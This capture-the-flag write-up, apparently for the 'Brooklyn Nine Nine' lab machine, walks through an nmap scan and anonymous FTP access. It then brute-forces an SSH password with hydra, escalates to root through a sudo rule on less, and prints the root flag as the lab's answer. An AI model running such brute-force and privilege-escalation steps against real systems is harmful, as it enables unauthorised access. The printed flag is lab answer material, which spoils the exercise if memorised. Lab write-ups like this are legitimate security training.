$ nmap -sC -sV 10.10.255.141
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-06 21:01 IST
Nmap scan report for 10.10.255.141
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.17.48.138
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 119 May 17 2020 note_to_jake.txt
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
| 256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|_ 256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.98 seconds
There seems to be nothing of interest in the web directories.
Let's login anonymously through FTP.
$ ftp anonymous@10.10.255.141
Connected to 10.10.255.141.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Let's check out the contents of this directory.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 119 May 17 2020 note_to_jake.txt
226 Directory send OK.
We can download the note_to_jake.txt file to our machine using the get command.
ftp> get note_to_jake.txt
local: note_to_jake.txt remote: note_to_jake.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
100% |***********************************************************************************************************************************************************************************************| 119 22.82 KiB/s 00:00 ETA
226 Transfer complete.
119 bytes received in 00:00 (0.85 KiB/s)
Let's check what is in the note_to_jake.txt file.
$ cat note_to_jake.txt
From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
The only service remaining is SSH. That means that the user jake has a weak SSH password.
Using hydra, we can brute force the password.
$ hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://10.10.255.141 -t 4
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-06 21:56:40
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.10.255.141:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344355 to do in 5433:29h, 4 active
[22][ssh] host: 10.10.255.141 login: jake password: 987654321
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-06 21:59:14
Now we know that for the user jake, the password is 987654321.
Let's login through SSH using these credentials.
$ ssh jake@10.10.255.141
The authenticity of host '10.10.255.141 (10.10.255.141)' can't be established.
ED25519 key fingerprint is SHA256:ceqkN71gGrXeq+J5/dquPWgcPWwTmP2mBdFS2ODPZZU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.88.195' (ED25519) to the list of known hosts.
jake@10.10.255.141's password:
Last login: Tue May 26 08:56:58 2020
jake@brookly_nine_nine:~$
Let's go to the user holt.
jake@brookly_nine_nine:~$ cd ..
jake@brookly_nine_nine:/home$ ls
amy holt jake
jake@brookly_nine_nine:/home$ cd holt/
jake@brookly_nine_nine:/home/holt$ ls
nano.save user.txt
jake@brookly_nine_nine:/home/holt$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on brookly_nine_nine:
(ALL) NOPASSWD: /usr/bin/less
Copy and paste the Sudo exploit in the terminal.
jake@brookly_nine_nine:/home/holt$ sudo less /etc/profile
#
You will have to press ENTER once again after entering the command.
# cd root
# ls
root.txt
# cat root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845
Enjoy!!
Answer
63a9f0ea7bb98050796b649e85481845
We can got to to find an exploit for the less binary.
